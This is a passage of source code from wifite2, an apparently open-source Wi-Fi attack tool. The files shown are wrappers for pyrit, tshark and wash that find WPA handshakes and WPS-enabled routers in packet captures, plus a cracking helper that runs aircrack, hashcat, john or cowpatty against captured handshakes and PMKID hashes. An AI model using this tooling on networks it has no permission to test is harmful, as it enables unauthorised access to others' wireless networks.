cls.is_changed = True 79 | new_mac = Ifconfig.get_mac(iface) 80 | 81 | Color.clear_entire_line() 82 | Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) 83 | 84 | 85 | @classmethod 86 | def reset_if_changed(cls): 87 | if cls.is_changed: 88 | cls.reset() 89 | 90 | -------------------------------------------------------------------------------- /wifite/tools/pyrit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | from ..util.process import Process 6 | import re 7 | 8 | class Pyrit(Dependency): 9 | ''' Wrapper for Pyrit program. ''' 10 | dependency_required = False 11 | dependency_name = 'pyrit' 12 | dependency_url = 'https://github.com/JPaulMora/Pyrit/wiki' 13 | 14 | def __init__(self): 15 | pass 16 | 17 | 18 | @staticmethod 19 | def bssid_essid_with_handshakes(capfile, bssid=None, essid=None): 20 | if not Pyrit.exists(): 21 | return [] 22 | 23 | command = [ 24 | 'pyrit', 25 | '-r', capfile, 26 | 'analyze' 27 | ] 28 | pyrit = Process(command, devnull=False) 29 | 30 | current_bssid = current_essid = None 31 | bssid_essid_pairs = set() 32 | 33 | ''' 34 | #1: AccessPoint 18:a6:f7:31:d2:06 ('TP-LINK_D206'): 35 | #1: Station 08:66:98:b2:ab:28, 1 handshake(s): 36 | #1: HMAC_SHA1_AES, good, spread 1 37 | #2: Station ac:63:be:3a:a2:f4 38 | ''' 39 | 40 | for line in pyrit.stdout().split('\n'): 41 | mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] 42 | match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$" % (mac_regex), line) 43 | if match: 44 | # We found a new BSSID and ESSID 45 | (current_bssid, current_essid) = match.groups() 46 | 47 | if bssid is not None and bssid.lower() != current_bssid: 48 | current_bssid = None 49 | current_essid = None 50 | elif essid is not None and essid != current_essid: 51 | current_bssid = None 52 | current_essid = None 53 | 54 | elif current_bssid is not None and current_essid is not None: 55 | # We hit an AP that we care about. 56 | # Line does not contain AccessPoint, see if it's 'good' 57 | if ', good' in line: 58 | bssid_essid_pairs.add( (current_bssid, current_essid) ) 59 | 60 | return list(bssid_essid_pairs) 61 | -------------------------------------------------------------------------------- /wifite/tools/tshark.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | from ..model.target import WPSState 6 | from ..util.process import Process 7 | import re 8 | 9 | class Tshark(Dependency): 10 | ''' Wrapper for Tshark program. ''' 11 | dependency_required = False 12 | dependency_name = 'tshark' 13 | dependency_url = 'apt-get install wireshark' 14 | 15 | def __init__(self): 16 | pass 17 | 18 | 19 | @staticmethod 20 | def _extract_src_dst_index_total(line): 21 | # Extract BSSIDs, handshake # (1-4) and handshake 'total' (4) 22 | mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] 23 | match = re.search('(%s)\s*.*\s*(%s).*Message.*(\d).*of.*(\d)' % (mac_regex, mac_regex), line) 24 | if match is None: 25 | # Line doesn't contain src, dst, Message numbers 26 | return None, None, None, None 27 | (src, dst, index, total) = match.groups() 28 | return src, dst, index, total 29 | 30 | 31 | @staticmethod 32 | def _build_target_client_handshake_map(output, bssid=None): 33 | # Map of target_ssid,client_ssid -> handshake #s 34 | # E.g. 12:34:56,21:43:65 -> 3 35 | target_client_msg_nums = {} 36 | 37 | for line in output.split('\n'): 38 | src, dst, index, total = Tshark._extract_src_dst_index_total(line) 39 | 40 | if src is None: continue # Skip 41 | 42 | index = int(index) 43 | total = int(total) 44 | 45 | if total != 4: continue # Handshake X of 5? X of 3? Skip it. 46 | 47 | # Identify the client and target MAC addresses 48 | if index % 2 == 1: 49 | # First and Third messages 50 | target = src 51 | client = dst 52 | else: 53 | # Second and Fourth messages 54 | client = src 55 | target = dst 56 | 57 | if bssid is not None and bssid.lower() != target.lower(): 58 | # We know the BSSID and this msg was not for the target 59 | continue 60 | 61 | target_client_key = '%s,%s' % (target, client) 62 | 63 | # Ensure all 4 messages are: 64 | # Between the same client and target (not different clients connecting). 65 | # In numeric & chronological order (Message 1, then 2, then 3, then 4) 66 | if index == 1: 67 | target_client_msg_nums[target_client_key] = 1 # First message 68 | 69 | elif target_client_key not in target_client_msg_nums: 70 | continue # Not first message. We haven't gotten the first message yet. Skip. 71 | 72 | elif index - 1 != target_client_msg_nums[target_client_key]: 73 | continue # Message is not in sequence. Skip 74 | 75 | else: 76 | # Happy case: Message is > 1 and is received in-order 77 | target_client_msg_nums[target_client_key] = index 78 | 79 | return target_client_msg_nums 80 | 81 | 82 | @staticmethod 83 | def bssids_with_handshakes(capfile, bssid=None): 84 | if not Tshark.exists(): 85 | return [] 86 | 87 | # Returns list of BSSIDs for which we have valid handshakes in the capfile. 88 | command = [ 89 | 'tshark', 90 | '-r', capfile, 91 | '-n', # Don't resolve addresses 92 | '-Y', 'eapol' # Filter for only handshakes 93 | ] 94 | tshark = Process(command, devnull=False) 95 | 96 | target_client_msg_nums = Tshark._build_target_client_handshake_map(tshark.stdout(), bssid=bssid) 97 | 98 | bssids = set() 99 | # Check if we have all 4 messages for the handshake between the same MACs 100 | for (target_client, num) in target_client_msg_nums.items(): 101 | if num == 4: 102 | # We got a handshake! 103 | this_bssid = target_client.split(',')[0] 104 | bssids.add(this_bssid) 105 | 106 | return list(bssids) 107 | 108 | 109 | @staticmethod 110 | def bssid_essid_pairs(capfile, bssid): 111 | # Finds all BSSIDs (with corresponding ESSIDs) from cap file. 112 | # Returns list of tuples(BSSID, ESSID) 113 | 114 | if not Tshark.exists(): 115 | return [] 116 | 117 | ssid_pairs = set() 118 | 119 | command = [ 120 | 'tshark', 121 | '-r', capfile, # Path to cap file 122 | '-n', # Don't resolve addresses 123 | # Extract beacon frames 124 | '-Y', '"wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05"', 125 | ] 126 | tshark = Process(command, devnull=False) 127 | 128 | for line in tshark.stdout().split('\n'): 129 | # Extract src, dst, and essid 130 | mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] 131 | match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$' % (mac_regex, mac_regex), line) 132 | if match is None: 133 | continue # Line doesn't contain src, dst, ssid 134 | 135 | (src, dst, essid) = match.groups() 136 | 137 | if dst.lower() == 'ff:ff:ff:ff:ff:ff': 138 | continue # Skip broadcast packets 139 | 140 | if bssid is not None: 141 | # We know the BSSID, only return the ESSID for this BSSID. 142 | if bssid.lower() == src.lower(): 143 | ssid_pairs.add((src, essid)) # This is our BSSID, add it 144 | else: 145 | ssid_pairs.add((src, essid)) # We do not know BSSID, add it. 146 | 147 | return list(ssid_pairs) 148 | 149 | 150 | @staticmethod 151 | def check_for_wps_and_update_targets(capfile, targets): 152 | ''' 153 | Given a cap file and list of targets, use TShark to 154 | find which BSSIDs in the cap file use WPS. 155 | Then update the 'wps' flag for those BSSIDs in the targets. 156 | 157 | Args: 158 | capfile - .cap file from airodump containing packets 159 | targets - list of Targets from scan, to be updated 160 | ''' 161 | from ..config import Configuration 162 | 163 | if not Tshark.exists(): 164 | raise ValueError('Cannot detect WPS networks: Tshark does not exist') 165 | 166 | command = [ 167 | 'tshark', 168 | '-r', capfile, # Path to cap file 169 | '-n', # Don't resolve addresses 170 | # Filter WPS broadcast packets 171 | '-Y', 'wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff', 172 | '-T', 'fields', # Only output certain fields 173 | '-e', 'wlan.ta', # BSSID 174 | '-e', 'wps.ap_setup_locked', # Locked status 175 | '-E', 'separator=,' # CSV 176 | ] 177 | p = Process(command) 178 | 179 | try: 180 | p.wait() 181 | lines = p.stdout() 182 | except: 183 | # Failure is acceptable 184 | return 185 | 186 | wps_bssids = set() 187 | locked_bssids = set() 188 | for line in lines.split('\n'): 189 | if ',' not in line: 190 | continue 191 | bssid, locked = line.split(',') 192 | if '1' not in locked: 193 | wps_bssids.add(bssid.upper()) 194 | else: 195 | locked_bssids.add(bssid.upper()) 196 | 197 | for t in targets: 198 | target_bssid = t.bssid.upper() 199 | if target_bssid in wps_bssids: 200 | t.wps = WPSState.UNLOCKED 201 | elif target_bssid in locked_bssids: 202 | t.wps = WPSState.LOCKED 203 | else: 204 | t.wps = WPSState.NONE 205 | 206 | 207 | if __name__ == '__main__': 208 | test_file = './tests/files/contains_wps_network.cap' 209 | 210 | target_bssid = 'A4:2B:8C:16:6B:3A' 211 | from ..model.target import Target 212 | fields = [ 213 | 'A4:2B:8C:16:6B:3A', # BSSID 214 | '2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates 215 | '11', # Channel 216 | '54', # throughput 217 | 'WPA2', 'CCMP TKIP', 'PSK', # AUTH 218 | '-58', '2', '0', '0.0.0.0', '9', # ??? 219 | 'Test Router Please Ignore', # SSID 220 | ] 221 | t = Target(fields) 222 | targets = [t] 223 | 224 | # Should update 'wps' field of a target 225 | Tshark.check_for_wps_and_update_targets(test_file, targets) 226 | 227 | print('Target(BSSID={}).wps = {} (Expected: 1)'.format( 228 | targets[0].bssid, targets[0].wps)) 229 | assert targets[0].wps == WPSState.UNLOCKED 230 | 231 | print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid)) 232 | -------------------------------------------------------------------------------- /wifite/tools/wash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | from ..model.target import WPSState 6 | from ..util.process import Process 7 | import json 8 | 9 | class Wash(Dependency): 10 | ''' Wrapper for Wash program. ''' 11 | dependency_required = False 12 | dependency_name = 'wash' 13 | dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' 14 | 15 | def __init__(self): 16 | pass 17 | 18 | 19 | @staticmethod 20 | def check_for_wps_and_update_targets(capfile, targets): 21 | if not Wash.exists(): 22 | return 23 | 24 | command = [ 25 | 'wash', 26 | '-f', capfile, 27 | '-j' # json 28 | ] 29 | 30 | p = Process(command) 31 | try: 32 | p.wait() 33 | lines = p.stdout() 34 | except: 35 | # Failure is acceptable 36 | return 37 | 38 | # Find all BSSIDs 39 | wps_bssids = set() 40 | locked_bssids = set() 41 | for line in lines.split('\n'): 42 | try: 43 | obj = json.loads(line) 44 | bssid = obj['bssid'] 45 | locked = obj['wps_locked'] 46 | if locked != True: 47 | wps_bssids.add(bssid) 48 | else: 49 | locked_bssids.add(bssid) 50 | except: 51 | pass 52 | 53 | # Update targets 54 | for t in targets: 55 | target_bssid = t.bssid.upper() 56 | if target_bssid in wps_bssids: 57 | t.wps = WPSState.UNLOCKED 58 | elif target_bssid in locked_bssids: 59 | t.wps = WPSState.LOCKED 60 | else: 61 | t.wps = WPSState.NONE 62 | 63 | 64 | if __name__ == '__main__': 65 | test_file = './tests/files/contains_wps_network.cap' 66 | 67 | target_bssid = 'A4:2B:8C:16:6B:3A' 68 | from ..model.target import Target 69 | fields = [ 70 | 'A4:2B:8C:16:6B:3A', # BSSID 71 | '2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates 72 | '11', # Channel 73 | '54', # throughput 74 | 'WPA2', 'CCMP TKIP', 'PSK', # AUTH 75 | '-58', '2', '0', '0.0.0.0', '9', # ??? 76 | 'Test Router Please Ignore', # SSID 77 | ] 78 | t = Target(fields) 79 | targets = [t] 80 | 81 | # Should update 'wps' field of a target 82 | Wash.check_for_wps_and_update_targets(test_file, targets) 83 | 84 | print('Target(BSSID={}).wps = {} (Expected: 1)'.format( 85 | targets[0].bssid, targets[0].wps)) 86 | 87 | assert targets[0].wps == WPSState.UNLOCKED 88 | 89 | -------------------------------------------------------------------------------- /wifite/util/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/wifite/util/__init__.py -------------------------------------------------------------------------------- /wifite/util/color.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys 5 | 6 | class Color(object): 7 | ''' Helper object for easily printing colored text to the terminal. ''' 8 | 9 | # Basic console colors 10 | colors = { 11 | 'W' : '\033[0m', # white (normal) 12 | 'R' : '\033[31m', # red 13 | 'G' : '\033[32m', # green 14 | 'O' : '\033[33m', # orange 15 | 'B' : '\033[34m', # blue 16 | 'P' : '\033[35m', # purple 17 | 'C' : '\033[36m', # cyan 18 | 'GR': '\033[37m', # gray 19 | 'D' : '\033[2m' # dims current color. {W} resets. 20 | } 21 | 22 | # Helper string replacements 23 | replacements = { 24 | '{+}': ' {W}{D}[{W}{G}+{W}{D}]{W}', 25 | '{!}': ' {O}[{R}!{O}]{W}', 26 | '{?}': ' {W}[{C}?{W}]' 27 | } 28 | 29 | last_sameline_length = 0 30 | 31 | @staticmethod 32 | def p(text): 33 | ''' 34 | Prints text using colored format on same line. 35 | Example: 36 | Color.p('{R}This text is red. {W} This text is white') 37 | ''' 38 | sys.stdout.write(Color.s(text)) 39 | sys.stdout.flush() 40 | if '\r' in text: 41 | text = text[text.rfind('\r')+1:] 42 | Color.last_sameline_length = len(text) 43 | else: 44 | Color.last_sameline_length += len(text) 45 | 46 | @staticmethod 47 | def pl(text): 48 | '''Prints text using colored format with trailing new line.''' 49 | Color.p('%s\n' % text) 50 | Color.last_sameline_length = 0 51 | 52 | @staticmethod 53 | def pe(text): 54 | '''Prints text using colored format with leading and trailing new line to STDERR.''' 55 | sys.stderr.write(Color.s('%s\n' % text)) 56 | Color.last_sameline_length = 0 57 | 58 | @staticmethod 59 | def s(text): 60 | ''' Returns colored string ''' 61 | output = text 62 | for (key,value) in Color.replacements.items(): 63 | output = output.replace(key, value) 64 | for (key,value) in Color.colors.items(): 65 | output = output.replace('{%s}' % key, value) 66 | return output 67 | 68 | @staticmethod 69 | def clear_line(): 70 | spaces = ' ' * Color.last_sameline_length 71 | sys.stdout.write('\r%s\r' % spaces) 72 | sys.stdout.flush() 73 | Color.last_sameline_length = 0 74 | 75 | @staticmethod 76 | def clear_entire_line(): 77 | import os 78 | (rows, columns) = os.popen('stty size', 'r').read().split() 79 | Color.p('\r' + (' ' * int(columns)) + '\r') 80 | 81 | 82 | @staticmethod 83 | def pattack(attack_type, target, attack_name, progress): 84 | ''' 85 | Prints a one-liner for an attack. 86 | Includes attack type (WEP/WPA), target ESSID & power, attack type, and progress. 87 | ESSID (Pwr) Attack_Type: Progress 88 | e.g.: Router2G (23db) WEP replay attack: 102 IVs 89 | ''' 90 | essid = '{C}%s{W}' % target.essid if target.essid_known else '{O}unknown{W}' 91 | Color.p('\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s ' % ( 92 | essid, target.power, attack_type, attack_name, progress)) 93 | 94 | 95 | @staticmethod 96 | def pexception(exception): 97 | '''Prints an exception. Includes stack trace if necessary.''' 98 | Color.pl('\n{!} {R}Error: {O}%s' % str(exception)) 99 | 100 | # Don't dump trace for the "no targets found" case. 101 | if 'No targets found' in str(exception): 102 | return 103 | 104 | from ..config import Configuration 105 | if Configuration.verbose > 0 or Configuration.print_stack_traces: 106 | Color.pl('\n{!} {O}Full stack trace below') 107 | from traceback import format_exc 108 | Color.p('\n{!} ') 109 | err = format_exc().strip() 110 | err = err.replace('\n', '\n{!} {C} ') 111 | err = err.replace(' File', '{W}File') 112 | err = err.replace(' Exception: ', '{R}Exception: {O}') 113 | Color.pl(err) 114 | 115 | 116 | if __name__ == '__main__': 117 | Color.pl('{R}Testing{G}One{C}Two{P}Three{W}Done') 118 | print(Color.s('{C}Testing{P}String{W}')) 119 | Color.pl('{+} Good line') 120 | Color.pl('{!} Danger') 121 | 122 | -------------------------------------------------------------------------------- /wifite/util/crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..config import Configuration 5 | from ..model.handshake import Handshake 6 | from ..model.wpa_result import CrackResultWPA 7 | from ..model.pmkid_result import CrackResultPMKID 8 | from ..util.process import Process 9 | from ..util.color import Color 10 | from ..util.input import raw_input 11 | from ..tools.aircrack import Aircrack 12 | from ..tools.cowpatty import Cowpatty 13 | from ..tools.hashcat import Hashcat, HcxPcapTool 14 | from ..tools.john import John 15 | 16 | from json import loads 17 | 18 | import os 19 | 20 | 21 | # TODO: Bring back the 'print' option, for easy copy/pasting. Just one-liners people can paste into terminal. 22 | 23 | # TODO: --no-crack option while attacking targets (implies user will run --crack later) 24 | 25 | class CrackHelper: 26 | '''Manages handshake retrieval, selection, and running the cracking commands.''' 27 | 28 | TYPES = { 29 | '4-WAY': '4-Way Handshake', 30 | 'PMKID': 'PMKID Hash' 31 | } 32 | 33 | @classmethod 34 | def run(cls): 35 | Configuration.initialize(False) 36 | 37 | # Get wordlist 38 | if not Configuration.wordlist: 39 | Color.p('\n{+} Enter wordlist file to use for cracking: {G}') 40 | Configuration.wordlist = raw_input() 41 | if not os.path.exists(Configuration.wordlist): 42 | Color.pl('{!} {R}Wordlist {O}%s{R} not found. Exiting.' % Configuration.wordlist) 43 | return 44 | Color.pl('') 45 | 46 | # Get handshakes 47 | handshakes = cls.get_handshakes() 48 | if len(handshakes) == 0: 49 | Color.pl('{!} {O}No handshakes found{W}') 50 | return 51 | 52 | hs_to_crack = cls.get_user_selection(handshakes) 53 | all_pmkid = all([hs['type'] == 'PMKID' for hs in hs_to_crack]) 54 | 55 | # Tools for cracking & their dependencies. 56 | available_tools = { 57 | 'aircrack': [Aircrack], 58 | 'hashcat': [Hashcat, HcxPcapTool], 59 | 'john': [John, HcxPcapTool], 60 | 'cowpatty': [Cowpatty] 61 | } 62 | # Identify missing tools 63 | missing_tools = [] 64 | for tool, dependencies in available_tools.items(): 65 | missing = [ 66 | dep for dep in dependencies 67 | if not Process.exists(dep.dependency_name) 68 | ] 69 | if len(missing) > 0: 70 | available_tools.pop(tool) 71 | missing_tools.append( (tool, missing) ) 72 | 73 | if len(missing_tools) > 0: 74 | Color.pl('\n{!} {O}Unavailable tools (install to enable):{W}') 75 | for tool, deps in missing_tools: 76 | dep_list = ', '.join([dep.dependency_name for dep in deps]) 77 | Color.pl(' {R}* {R}%s {W}({O}%s{W})' % (tool, dep_list)) 78 | 79 | if all_pmkid: 80 | Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}') 81 | tool_name = 'hashcat' 82 | else: 83 | Color.p('\n{+} Enter the {C}cracking tool{W} to use ({C}%s{W}): {G}' % ( 84 | '{W}, {C}'.join(available_tools.keys()))) 85 | tool_name = raw_input() 86 | if tool_name not in available_tools: 87 | Color.pl('{!} {R}"%s"{O} tool not found, defaulting to {C}aircrack{W}' % tool_name) 88 | tool_name = 'aircrack' 89 | 90 | try: 91 | for hs in hs_to_crack: 92 | if tool_name != 'hashcat' and hs['type'] == 'PMKID': 93 | if 'hashcat' in missing_tools: 94 | Color.pl('{!} {O}Hashcat is missing, therefore we cannot crack PMKID hash{W}') 95 | cls.crack(hs, tool_name) 96 | except KeyboardInterrupt: 97 | Color.pl('\n{!} {O}Interrupted{W}') 98 | 99 | @classmethod 100 | def is_cracked(cls, file): 101 | if not os.path.exists(Configuration.cracked_file): 102 | return False 103 | with open(Configuration.cracked_file) as f: 104 | json = loads(f.read()) 105 | if json is None: 106 | return False 107 | for result in json: 108 | for k in result.keys(): 109 | v = result[k] 110 | if 'file' in k and os.path.basename(v) == file: 111 | return True 112 | return False 113 | 114 | @classmethod 115 | def get_handshakes(cls): 116 | handshakes = [] 117 | 118 | skipped_pmkid_files = skipped_cracked_files = 0 119 | 120 | hs_dir = Configuration.wpa_handshake_dir 121 | if not os.path.exists(hs_dir) or not os.path.isdir(hs_dir): 122 | Color.pl('\n{!} {O}directory not found: {R}%s{W}' % hs_dir) 123 | return [] 124 | 125 | Color.pl('\n{+} Listing captured handshakes from {C}%s{W}:\n' % os.path.abspath(hs_dir)) 126 | for hs_file in os.listdir(hs_dir): 127 | if hs_file.count('_') != 3: 128 | continue 129 | 130 | if cls.is_cracked(hs_file): 131 | skipped_cracked_files += 1 132 | continue 133 | 134 | if hs_file.endswith('.cap'): 135 | # WPA Handshake 136 | hs_type = '4-WAY' 137 | elif hs_file.endswith('.16800'): 138 | # PMKID hash 139 | if not Process.exists('hashcat'): 140 | skipped_pmkid_files += 1 141 | continue 142 | hs_type = 'PMKID' 143 | else: 144 | continue 145 | 146 | name, essid, bssid, date = hs_file.split('_') 147 | date = date.rsplit('.', 1)[0] 148 | days,hours = date.split('T') 149 | hours = hours.replace('-', ':') 150 | date = '%s %s' % (days, hours) 151 | 152 | handshake = { 153 | 'filename': os.path.join(hs_dir, hs_file), 154 | 'bssid': bssid.replace('-', ':'), 155 | 'essid': essid, 156 | 'date': date, 157 | 'type': hs_type 158 | } 159 | 160 | if hs_file.endswith('.cap'): 161 | # WPA Handshake 162 | handshake['type'] = '4-WAY' 163 | elif hs_file.endswith('.16800'): 164 | # PMKID hash 165 | handshake['type'] = 'PMKID' 166 | else: 167 | continue 168 | 169 | handshakes.append(handshake) 170 | 171 | if skipped_pmkid_files > 0: 172 | Color.pl('{!} {O}Skipping %d {R}*.16800{O} files because {R}hashcat{O} is missing.{W}\n' % skipped_pmkid_files) 173 | if skipped_cracked_files > 0: 174 | Color.pl('{!} {O}Skipping %d already cracked files.{W}\n' % skipped_cracked_files) 175 | 176 | # Sort by Date (Descending) 177 | return sorted(handshakes, key=lambda x: x.get('date'), reverse=True) 178 | 179 | 180 | @classmethod 181 | def print_handshakes(cls, handshakes): 182 | # Header 183 | max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID (truncated)')]) 184 | Color.p('{W}{D} NUM') 185 | Color.p(' ' + 'ESSID (truncated)'.ljust(max_essid_len)) 186 | Color.p(' ' + 'BSSID'.ljust(17)) 187 | Color.p(' ' + 'TYPE'.ljust(5)) 188 | Color.p(' ' + 'DATE CAPTURED\n') 189 | Color.p(' ---') 190 | Color.p(' ' + ('-' * max_essid_len)) 191 | Color.p(' ' + ('-' * 17)) 192 | Color.p(' ' + ('-' * 5)) 193 | Color.p(' ' + ('-' * 19) + '{W}\n') 194 | # Handshakes 195 | for index, handshake in enumerate(handshakes, start=1): 196 | Color.p(' {G}%s{W}' % str(index).rjust(3)) 197 | Color.p(' {C}%s{W}' % handshake['essid'].ljust(max_essid_len)) 198 | Color.p(' {O}%s{W}' % handshake['bssid'].ljust(17)) 199 | Color.p(' {C}%s{W}' % handshake['type'].ljust(5)) 200 | Color.p(' {W}%s{W}\n' % handshake['date']) 201 | 202 | 203 | @classmethod 204 | def get_user_selection(cls, handshakes): 205 | cls.print_handshakes(handshakes) 206 | 207 | Color.p('{+} Select handshake(s) to crack ({G}%d{W}-{G}%d{W}, select multiple with {C},{W} or {C}-{W} or {C}all{W}): {G}' % (1, len(handshakes))) 208 | choices = raw_input() 209 | 210 | selection = [] 211 | for choice in choices.split(','): 212 | if '-' in choice: 213 | first, last = [int(x) for x in choice.split('-')] 214 | for index in range(first, last + 1): 215 | selection.append(handshakes[index-1]) 216 | elif choice.strip().lower() == 'all': 217 | selection = handshakes[:] 218 | break 219 | elif [c.isdigit() for c in choice]: 220 | index = int(choice) 221 | selection.append(handshakes[index-1]) 222 | 223 | return selection 224 | 225 | 226 | @classmethod 227 | def crack(cls, hs, tool): 228 | Color.pl('\n{+} Cracking {G}%s {C}%s{W} ({C}%s{W})' % ( 229 | cls.TYPES[hs['type']], hs['essid'], hs['bssid'])) 230 | 231 | if hs['type'] == 'PMKID': 232 | crack_result = cls.crack_pmkid(hs, tool) 233 | elif hs['type'] == '4-WAY': 234 | crack_result = cls.crack_4way(hs, tool) 235 | else: 236 | raise ValueError('Cannot crack handshake: Type is not PMKID or 4-WAY. Handshake=%s' % hs) 237 | 238 | if crack_result is None: 239 | # Failed to crack 240 | Color.pl('{!} {R}Failed to crack {O}%s{R} ({O}%s{R}): Passphrase not in dictionary' % ( 241 | hs['essid'], hs['bssid'])) 242 | else: 243 | # Cracked, replace existing entry (if any), or add to 244 | Color.pl('{+} {G}Cracked{W} {C}%s{W} ({C}%s{W}). Key: "{G}%s{W}"' % ( 245 | hs['essid'], hs['bssid'], crack_result.key)) 246 | crack_result.save() 247 | 248 | 249 | @classmethod 250 | def crack_4way(cls, hs, tool): 251 | 252 | handshake = Handshake(hs['filename'], 253 | bssid=hs['bssid'], 254 | essid=hs['essid']) 255 | try: 256 | handshake.divine_bssid_and_essid() 257 | except ValueError as e: 258 | Color.pl('{!} {R}Error: {O}%s{W}' % e) 259 | return None 260 | 261 | if tool == 'aircrack': 262 | key = Aircrack.crack_handshake(handshake, show_command=True) 263 | elif tool == 'hashcat': 264 | key = Hashcat.crack_handshake(handshake, show_command=True) 265 | elif tool == 'john': 266 | key = John.crack_handshake(handshake, show_command=True) 267 | elif tool == 'cowpatty': 268 | key = Cowpatty.crack_handshake(handshake, show_command=True) 269 | 270 | if key is not None: 271 | return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key) 272 | else: 273 | return None 274 | 275 | 276 | @classmethod 277 | def crack_pmkid(cls, hs, tool): 278 | if tool != 'hashcat': 279 | Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}') 280 | 281 | key = Hashcat.crack_pmkid(hs['filename'], verbose=True) 282 | 283 | if key is not None: 284 | return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key) 285 | else: 286 | return None 287 | 288 | 289 | if __name__ == '__main__': 290 | CrackHelper.run() 291 | 292 | -------------------------------------------------------------------------------- /wifite/util/input.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Fix for raw_input on python3: https://stackoverflow.com/a/7321970 5 | try: 6 | input = raw_input 7 | except NameError: 8 | pass 9 | 10 | raw_input = input 11 | 12 | try: 13 | range = xrange 14 | except NameError: 15 | pass 16 | 17 | xrange = range 18 | -------------------------------------------------------------------------------- /wifite/util/process.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import time 5 | import signal 6 | import os 7 | 8 | from subprocess import Popen, PIPE 9 | 10 | from ..util.color import Color 11 | from ..config import Configuration 12 | 13 | 14 | class Process(object): 15 | ''' Represents a running/ran process ''' 16 | 17 | @staticmethod 18 | def devnull(): 19 | ''' Helper method for opening devnull ''' 20 | return open('/dev/null', 'w') 21 | 22 | @staticmethod 23 | def call(command, cwd=None, shell=False): 24 | ''' 25 | Calls a command (either string or list of args). 26 | Returns tuple: 27 | (stdout, stderr) 28 | ''' 29 | if type(command) is not str or ' ' in command or shell: 30 | shell = True 31 | if Configuration.verbose > 1: 32 | Color.pe('\n {C}[?] {W} Executing (Shell): {B}%s{W}' % command) 33 | else: 34 | shell = False 35 | if Configuration.verbose > 1: 36 | Color.pe('\n {C}[?]{W} Executing: {B}%s{W}' % command) 37 | 38 | pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell) 39 | pid.wait() 40 | (stdout, stderr) = pid.communicate() 41 | 42 | # Python 3 compatibility 43 | if type(stdout) is bytes: stdout = stdout.decode('utf-8') 44 | if type(stderr) is bytes: stderr = stderr.decode('utf-8') 45 | 46 | 47 | if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '': 48 | Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(stdout.strip().split('\n'))) 49 | if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '': 50 | Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(stderr.strip().split('\n'))) 51 | 52 | return (stdout, stderr) 53 | 54 | @staticmethod 55 | def exists(program): 56 | ''' Checks if program is installed on this system ''' 57 | p = Process(['which', program]) 58 | stdout = p.stdout().strip() 59 | stderr = p.stderr().strip() 60 | 61 | if stdout == '' and stderr == '': 62 | return False 63 | 64 | return True 65 | 66 | def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0, stdin=PIPE): 67 | ''' Starts executing command ''' 68 | 69 | if type(command) is str: 70 | # Commands have to be a list 71 | command = command.split(' ') 72 | 73 | self.command = command 74 | 75 | if Configuration.verbose > 1: 76 | Color.pe('\n {C}[?] {W} Executing: {B}%s{W}' % ' '.join(command)) 77 | 78 | self.out = None 79 | self.err = None 80 | if devnull: 81 | sout = Process.devnull() 82 | serr = Process.devnull() 83 | else: 84 | sout = stdout 85 | serr = stderr 86 | 87 | self.start_time = time.time() 88 | 89 | self.pid = Popen(command, stdout=sout, stderr=serr, stdin=stdin, cwd=cwd, bufsize=bufsize) 90 | 91 | def __del__(self): 92 | ''' 93 | Ran when object is GC'd. 94 | If process is still running at this point, it should die. 95 | ''' 96 | try: 97 | if self.pid and self.pid.poll() is None: 98 | self.interrupt() 99 | except AttributeError: 100 | pass 101 | 102 | def stdout(self): 103 | ''' Waits for process to finish, returns stdout output ''' 104 | self.get_output() 105 | if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '': 106 | Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(self.out.strip().split('\n'))) 107 | return self.out 108 | 109 | def stderr(self): 110 | ''' Waits for process to finish, returns stderr output ''' 111 | self.get_output() 112 | if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '': 113 | Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(self.err.strip().split('\n'))) 114 | return self.err 115 | 116 | def stdoutln(self): 117 | return self.pid.stdout.readline() 118 | 119 | def stderrln(self): 120 | return self.pid.stderr.readline() 121 | 122 | def stdin(self, text): 123 | if self.pid.stdin: 124 | self.pid.stdin.write(text.encode('utf-8')) 125 | self.pid.stdin.flush() 126 | 127 | def get_output(self): 